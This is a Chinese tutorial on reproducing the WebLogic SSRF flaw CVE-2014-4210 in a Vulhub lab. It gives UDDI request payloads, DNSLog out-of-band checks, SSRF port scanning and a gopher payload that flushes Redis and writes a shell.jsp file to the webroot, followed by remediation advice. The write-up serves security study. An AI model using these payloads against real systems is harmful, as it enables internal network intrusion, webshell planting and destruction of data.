如何实现Weblogic SSRF漏洞复现

# 如何实现Weblogic SSRF漏洞复现

## 前言
服务器端请求伪造（SSRF）是一种常见的安全漏洞，攻击者通过构造恶意请求使服务端发起非预期的内部网络访问。Weblogic作为广泛使用的Java应用服务器，历史上曾存在多个SSRF漏洞（如CVE-2014-4210）。本文将介绍漏洞原理、环境搭建及复现过程。

---

## 一、漏洞原理
Weblogic的SSRF漏洞通常出现在未严格校验用户输入的URL参数时，攻击者可利用以下功能点：
1. **UDDI模块**：通过`uddiexplorer/SearchPublicRegistries.jsp`接口构造恶意请求
2. **协处理器功能**：未过滤的`http://`/`https://`协议头导致内部服务探测
3. **XML解析器**：XXE与SSRF的联合利用

---

## 二、环境准备
### 所需工具
- Vulhub靶机环境（或手动搭建Weblogic 10.3.6）
- Burp Suite/Burp Collaborator
- DNSLog平台（如ceye.io）
- curl/nc等网络工具

### 环境配置
```bash
# 使用Vulhub快速搭建
git clone https://github.com/vulhub/vulhub.git
cd vulhub/weblogic/ssrf
docker-compose up -d

三、漏洞复现步骤

方法1：UDDI模块利用

1. 访问漏洞页面：

   
   http://target:7001/uddiexplorer/SearchPublicRegistries.jsp
   

2. 修改operator参数为内网地址： “`http POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1 Host: target:7001 Content-Type: application/x-www-form-urlencoded

operator=http://192.168.1.100:8080&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

3. 观察响应时间/错误信息判断内网服务存活状态

### 方法2：DNS外带验证
1. 使用DNSLog平台生成子域名：

abc123.dnslog.cn

2. 构造恶意请求：
   ```http
   GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://abc123.dnslog.cn HTTP/1.1
   Host: target:7001

1. 检查DNSLog平台是否收到解析记录

四、漏洞利用进阶

1. 端口扫描

通过Burp Intruder批量测试端口：

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://127.0.0.1:22 HTTP/1.1

依据响应差异判断端口开放情况（连接拒绝/超时）

2. 攻击Redis服务

当发现内网Redis时，可构造协议转换攻击：

gopher://redis:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$10%0d%0aevaltest%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/usr/local/tomcat/webapps/ROOT%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.jsp%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

五、修复建议

1. 升级至最新安全版本
2. 禁用不必要的Public Registry功能
3. 配置网络策略限制出站请求
4. 使用白名单校验用户输入的URL参数

注意：本文仅用于安全研究，未经授权测试他人系统属于违法行为。 “`

该文档包含： - 漏洞原理说明 - 分步骤复现指南 - 两种验证方法（基础请求/DNS外带） - 进阶利用场景 - 修复方案 - 合规性声明

实际复现时需根据目标环境调整payload，建议在授权环境下使用Vulhub等靶场练习。